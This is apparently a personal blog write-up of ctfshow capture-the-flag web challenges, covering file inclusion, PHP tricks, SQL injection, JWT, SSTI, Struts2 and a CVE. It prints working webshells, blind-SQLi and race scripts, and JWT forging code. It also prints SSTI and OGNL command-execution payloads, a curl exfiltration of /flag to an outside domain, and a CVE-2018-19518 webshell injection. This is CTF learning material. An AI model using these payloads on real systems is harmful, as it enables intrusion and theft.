Tritium

Tritium

CTFshow刷刷刷!

我要變強!

ctfshow VIP 題庫開刷!

PHP 文件包含#

web78#

沒有任何過濾的裸 include 直接 include2shell 開殺

哦這個還用不了 include2shell 沒有啟用這些 filter

那就直接讀取就行

php://filter/convert.base64-encode/resource=flag.php

web79#

過濾了 php 字段 用 data 協議傳個🐎進去

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy4/Pz8iKSA/Pg==

web80#

草了 又把 data 也給過濾了

但是沒過濾大小寫 所以用 PHP://input 和 post 內容寫個馬就讀到了 cat fl0g.php

web81#

byd 怎麼把冒號給過濾了

這回要打正經的日誌包含了

nginx 日誌路徑:/var/log/nginx/access.log

apache 日誌路徑:/var/log/apache2/access.log

log 會記錄 url 和 ua 因為 url 會進行編碼 所以用 ua 寫馬

在 UA 裡改成要執行的 php 命令 一定要一次成功 如果有問題就會 fatalerror 只能重開環境

總之就是把 UA 設置成 多訪問幾次 就出來了

web82#

這個題把。給過濾了 算你狠

打一個 session 競爭包含 具體看這裡https://www.freebuf.com/vuls/202819.html

import io
import requests
import threading

sessid = 'tri'

def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://f1510789-decf-456f-bc71-bfcc9b8a693d.challenge.ctf.show/',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system(\"ls\");?>"},
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid}
    )

with requests.session() as session:
    while True:
        POST(session)
        print(f"[+] 成功寫入sess_{sessid}")

一邊發送這個 一邊包含 /tmp/sess_SESSID 就能 rce

這會沒開競爭環境 就先寫完 wp 先不做了

先做不用競爭的

web87#

有一行

file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);

一個死亡 exit 所以需要用一些操作把這個 die 轉義了以後再寫入 shell

這裡的 file 是可以用偽協議的 構造一個帶 rot13filter 的 write 偽協議 同時提前 rot13 一次 content 就能把 die 給轉義 同時恢復 content 原樣

php://filter/write=string.rot13/resource=2.php

這裡要過兩次 urlencode 因為會再被動 decode 一次

web88#

preg_match("/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i", $file)

看著過濾了好多

實際上呢 直接打 79 的 payload 就能過 找一個編碼 base64 後不含有特殊符號的密碼就好

web116#

Untitled.png

從 mp4 裡分離出 png 是源碼截圖

過濾了一堆 但是發現我可以直接包含 flag.php 拿到 flag

web117#

看起來很像 web87?但是把 rot13 過濾了 需要找其他的方法轉義死亡 exit

https://www.anquanke.com/post/id/202510#h2-14裡找到了一些方法

透過 UCS-2 方式,對目標字符串進行 2 位一反轉(這裡的 2LE 和 2BE 可以看作是小端和大端的列子),也就是說構造的惡意代碼需要是 UCS-2 中 2 的倍數,不然不能進行正常反轉(多餘不滿足的字符串會被截斷),那我們就可以利用這種過濾器進行編碼轉換繞過了

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell1.php

contents 也是預先翻轉過?<hp pvela$(G_TE'[mc'd)]?;>>

這樣就有了一个 webshell

PHP 特性#

這一塊就是刷基礎的部分了

web89#

if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }

經典的要繞過 pregmatch,這裡採用數組繞過 pregmatch 在參數不合法時就會返回 false

?num[]=1

web90#

if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

先是一個強比較 4476,然後用了一个 intval

intval ($num,0) 的工作原理如下

如果 base 是 0,通過檢測 var 的格式來決定使用的進制:

  • 如果字符串包括了 "0x" (或 "0X") 的前綴,使用 16 進制 (hex);否則,
  • 如果字符串以 "0" 開始,使用 8 進制 (octal);否則,
  • 將使用 10 進制 (decimal)。

這樣就可以利用進制構建一個 payload

?num=0x117c

0x117c 轉到 10 進制就是 4476

web91#

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

第一行的正則多了一個 m 修飾符,指的是多行匹配

就可以構建一個帶換行的字符串

在 url 中,換行符是 %0a

所以令 cmd=%0aphp 就能達成條件

web92#

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

可以直接用 90 的 payload 原理是相同的

web93#

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

不讓用進制轉換的 intval,所以可以令 num=4476.1, 轉換成 int 的時候就會自己把小數舍去了

web94#

if(!strpos($num, "0")){
        die("no no no!");
    }

這個題在上一題基礎上加了一條限制,要求 num 中含有 0

所以讓 num=4476.10 即可

web95#

if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }

把小數點 ban 了

?num=+010574 可以用八進制繞過 前面加上一个加號讓 intval 能把他識別成整數

web96#

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

不讓直接傳 flag.php 那就傳./flag.php 啊

web97#

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

md5 弱比較,直接數組繞過

a[]=1&b[]=a

web98#

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?這什麼

實在是低能完了 不會遇到這種題的

1. **`include("flag.php");`**: 嘗試包含一個名為 "flag.php" 的文件。這個文件可能包含一些敏感信息,但我們無法確定其內容,因為這個文件沒有提供。
2. **`$_GET?$_GET=&$_POST:'flag';`**: 這一行實際上是在檢查是否存在 GET 請求,並且將 **`$_GET`** 設置為 **`$_POST`**,否則將 **`$_GET`** 設置為字符串 'flag'。
3. **`$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';`**: 如果 **`$_GET['flag']`** 的值等於 'flag',則將 **`$_GET`** 設置為 **`$_COOKIE`**,否則將 **`$_GET`** 設置為字符串 'flag'。
4. **`$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';`**: 類似上一行,如果 **`$_GET['flag']`** 的值等於 'flag',則將 **`$_GET`** 設置為 **`$_SERVER`**,否則將 **`$_GET`** 設置為字符串 'flag'。
5. **`highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);`**: 使用 **`highlight_file`** 函數來高亮顯示一個文件的源碼。根據 **`$_GET['HTTP_FLAG']`** 是否等於 'flag' 的條件,決定是顯示 'flag.php' 文件的內容還是當前文件的內容。

根據 chatgpt 的解釋,只需要把 get 隨便傳點東西,然後 postHTTP_FLAG=flag 就可以在報錯信息裡看到 flag 了

web99#

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

這裡是利用 inarray 的漏洞,這個函數默認的 strict 模式是 false 先往 array 裡填一些隨機數字 所以當 n 以數字開頭時 弱比較會把 n 數字之後的字符忽略 所以令 n=1.php 因為 1 肯定會被包含在 allow 裡 所以必定能合法繞過

n=1.php&content=<?php system($_POST[1]);?>

web100#

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

v0 有一個賦值運算 因為賦值運算優先級大於 and 運算 所以只需要 v1 是數字就行

v2 不能有;v3 要有;所以在 v2 用?> 截斷即可

?v1=1
&v2=var_dump($ctfshow)?>
&v3=;

dump 出這個對象 把 0x2d 轉換成 - 就是 flag

web101#

修改了 100 中的正則 要求不能含有數字和符號

可以使用 echo new Reflectionclass 獲取這個類的參數 就能拿到 flag 了

web102#

web110#

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

一個僅字母的原生類利用

先用

?v1=FilesystemIterator
&v2=getcwd

獲取當前目錄下文件

看到 flag 文件以後 直接訪問這個文件就能看到 flag 了

web111#

include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

有一個可變變量v1v1和v2

令 v1=ctfshow v2=GLOBALS 這樣覆蓋後就會 vardumpGLOBALS 把包括 flag 的變量輸出出來

web112#

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

用 php 偽協議直接讀就行 php://filter/resource=flag.php

web113#

ban 了 filter 用 compress.zlib 讀就行

web114#

=web112

web115#

在 php 中 "36" 是等於 "\x0c36" 的,同時 trim 也不會過濾掉 \x0c 也就是 %0c

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }

num=%0c36

web123#


include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
     if($fl0g==="flag_give_me"){
         echo $flag;這個純誤導 能eval了 直接echoflag就行了

web125#

題目限制的是 $c<=16 不是長度小於 16 所以直接 eval 再用 get 傳進命令就行了

web126#

php7 無法直接用 assert 執行函數,因此用 assert ($a [0]) ?fl0g=flag_give_me 執行賦值語句

web127#

highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符檢測
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\[|\;|\:|\"|\'|\,|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

query 禁止傳入這些字符,所以用 ctf show 讓 php 處理非法參數名自動轉換成_就可以

web128#

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

兩層用戶函數 無字母數字

get_defined_vars 類似 GLOBALS 返回所有已定義變量的數組

SQLi#

web171#

//拼接sql語句查找指定ID用戶
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

簡單的直接拼接

‘ or 1=1 —+

就能使條件全部成立 返回所有賬戶

web172#

增加了一層判斷

//檢查結果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查詢成功';
    }

因此使用 union 聯合查詢

1' union select 2,password from ctfshow_user2 --+

使 username 恆為 2

就可以查詢到結果

web173#

和 172 同樣的 只是變成了三個字段 修改一下就行

web174#

禁止返回結果中出現 flag 和數字,所以使用布爾盲注獲取 flag

import requests
from string import ascii_lowercase,digits
word = ascii_lowercase + digits + "_{}-"

url = "http://001f2822-f26a-44bb-a9b6-ad7ed9dbb1a6.challenge.ctf.show/api/v4.php?id="

flag = ""
while True:
    for i in word:
        r = requests.get(url + f"1' AND (SELECT password FROM ctfshow_user4 where username = 'flag') LIKE '{flag + i}%' --+")
        if "admin" in r.text:
            flag += i
            print(flag)
            break

web175#

這個題禁止了所有 ascii 字符 也就是沒有回顯 就不能使用布爾盲注了 可以使用時間盲注

也可以透過 into outfile 把結果寫入外部網站文件

1' union select username , password from ctfshow_user5 where username='flag' into outfile'/var/www/html/ctf.txt' --+

web176#

這個題開始有 waf 了 不知道過濾了什麼

用 a' or 1=1 --+ 可以直接繞過

web177#

這裡的 waf 過濾了空格,因此把所有的空格用 /**/ 行間注釋替代,再用 unionselect 查詢即可

web178#

這個題把注釋符全部過濾,因此可以使用 %0b 或者 %09 替代空格

或者使用不需要空格的 payload

'or'1'='1'%23

web179#

依然是對空格的過濾上做改變,因此可以使用上面的 payload

web180#

禁止使用 #來注釋語句剩餘內容 改為使用 —+ 這裡的 + 需要 url 編碼成 %0c

JWT#

web345#

where is flag? 查看響應標頭,有一個 auth cookie 給了一個 jwt,並提示要訪問 admin

auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MDA1NzIxMjAsImV4cCI6MTcwMDU3OTMyMCwibmJmIjoxNzAwNTcyMTIwLCJzdWIiOiJ1c2VyIiwianRpIjoiMzc0MDIyOWYxYjE3MWRmZTZhNjJjNjMzZjlkMGRiZWUifV0

Untitled.png

解碼出來是這樣 沒有簽名的 jwt 直接把 sub 改成 admin 試試

用改好的 jwt 訪問 admin 獲得 flag

web346#

auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3MjQ5MCwiZXhwIjoxNzAwNTc5NjkwLCJuYmYiOjE3MDA1NzI0OTAsInN1YiI6InVzZXIiLCJqdGkiOiI4NDQ5YmYyMzQwMWE2OGE3NTk3YTIwOWQ5YzE4NWI1MCJ9.Zx2mZerMpnJTieuQHpYoGqQ8WKIzn36bseFh9oH

這下 jwt 帶簽名了,用的 HS256 算法,需要先破解 secretkey

這個題考察的是 jwt 攻擊方法之一的 alg 為 none,有一些後端在你把 jwtheader 的 alg 設置為 none 時就不會驗證簽名

Untitled.png

用 jwttools 先生成修改好 admin 的 jwt

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3NTk1OCwiZXhwIjoxNzAwNTgzMTU4LCJuYmYiOjE3MDA1NzU5NTgsInN1YiI6ImFkbWluIiwianRpIjoiZTE2NTZhOGU2ZTFkNDVkYWIwOGIzZjhjYmVkYzZkM2MifQ.Y6rVpdFqoNkrP0o1bOlQHpge7SSxdpnyyKET5i34e6U -Xa

然後用 - Xa 執行 none 攻擊

用這個 jwt 訪問就可以拿到 flag

web347#

題目提示 jwt 弱口令,爆破一下 sk 是 123456

修改 admin 直接帶上訪問

web348#

同樣的爆破 字典跑出來是 aaab

web349#

這是一道私鑰洩露的題 訪問 /private.key 能獲得私鑰

用這個私鑰修改為 admin 之後直接簽名即可

web350#

洩露了 publicKey

這個題打 CVE-2016-5431 這個洞 是將 RS256 非對稱加密修改為 HS256 對稱加密的問題 一個簽名算法混淆 但是校驗不嚴格

嘗試用 py 的 jwt 包打了但是不通 可能內部簽名邏輯還是不同

用一個 js 腳本導入相同的包

var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token);

再用這個 token 去訪問就能拿到 flag 了

SSTI#

經典總結https://tttang.com/archive/1698/

web361#

題目描述是名字就是考點 估計是 name query 的 ssti

?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}

web362#

加上過濾了

這裡的過濾語句是2|3

不知道過濾的什麼,反正上面的 payload 還能用

web363#

這裡好像過濾了單引號

這樣就把單引號中的字符串用 request.args.a 代替,再用 a=os 這樣傳進去

?name={{self.__init__.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read()}}&a=os&b=env

web364#

試了一下 是把 args 給 ban 了

那就用 cookies 代替

?name={{self.__init__.__globals__.__builtins__.__import__(request.cookies.a).popen(request.cookies.b).read()}}

同時 cookie 傳入 a=os;b=env

web365#

這個是過濾了单双引號

所以用 {+% 和 %+} 代替,原來的 payload 加一個 print 就行了

?name={% print((lipsum | attr(request.cookies.c)).get(request.cookies.d).popen(request.cookies.b).read()) %}

web366#

過濾了 request

{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}

用了一个很麻烦的 payload,基本思路就是獲取各個需要的部分的字符串並保存在變量裡,獲取 chr 函數拼接出需要的命令,最後使用這些變量拼接執行命令

web370#

這個題過濾了數字,可以用 count 這個 filter 來獲取

還有一個邪道是用全角數字代替半角數字

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("輸入想要轉換的數字字符串:")
    for i in s:
        t += half2full(i)
    print(t)

把原本 payload 的數字全換成這個就行了

web371#

這個題禁止了 print,需要找到其他的數據外帶方法

這裡可以用 curl 訪問信標來外帶數據

具體命令是

curl -X POST -F xx=@/flag domain

@就能實現讀取這個文件 把內容發送出來

web372#

禁止了 count,就用 370 這個全角數字打就可以

之前做 ISCC 的時候遇到過一個很綜合的 ssti 題目,這裡https://blog.csdn.net/c868954104/article/details/131003141

JAVA#

web279#

題目提示了是 S2-001 用 struts2 工具直接開殺

Untitled.png

web280#

S2-005 同樣開殺

web281#

S2-007 杀

web282#

S2-008 杀

web283#

杀 不是 我都不知道在幹啥 這利用工具殺瘋了啊

web284#

S2-016 通殺

web285#

web286#

web287#

web288#

web289#

S2-029 這個沒有一鍵 exp 上網抄了個 他標題寫的 S2-032 成功誤導我了

default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()))

web290#

web291#

web292#

web293#

web294#

web295#

也是沒 exp 網上找一個

在 showcase 的 /integration/saveGangster.action 路徑下輸入 OGNL 語法,${10-7}

Untitled.png

出來的是 3 說明執行成功

然後就類似 SSTI 的 RCE 拿下了

web296#

web297#

web298#

終於不是 S2 系列通殺了!

這個題有坑!默認進入的路徑是 / 這個是 404 的 要手動跳到 ctfshow/

給了源碼,是要滿足

public boolean getVipStatus() {
        return this.username.equals("admin") && this.password.equals("ctfshow");
    }

這個低能題 還得手動調 login 目錄 一點提示沒有

/ctfshow/login?username=admin&password=ctfshow

web299#

有一行註釋

Untitled.png

但是沒有.php 轉而讀取 java 常用的 jsp

接著掃描 / WEB-INF/web.xml 發現存在 com.ctfshow.servlet.GetFlag

讀取試試

對應的文件路徑是 / WEB-INF/classes/com/ctfshow/servlet/GetFlag.class

讀取到的源碼中有一個

Untitled.png

用../../../../fl3g 讀取到 flag

web300#

和上個題類似 只是套了個 php 的皮 我想用 include2shell 打就露出原形了

PHPCVE#

Web312#

1. 環境

Untitled.png

看到是 php5.6.38 一個郵箱系統

查詢 cve 找到CVE-2018-19518

通過設置 - oProxyCommand = 來調用第三方命令,攻擊者通過注入注入這個參數,最終將導致命令執行漏洞

利用方式;先寫一個一句話 然後 base64 用 shell 命令把他寫進一個文件

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >/var/www/html/1.php

再把這一句 base64 寫進 exp

x -oProxyCommand=echo	"ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+L3Zhci93d3cvaHRtbC8xLnBocA=="|base64	-d|sh}

填進 hostname 注意 前面這個一定是 x 然後要兩次 url 編碼

Untitled.png

Untitled.png

然後就能 rce 了

Untitled.png

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。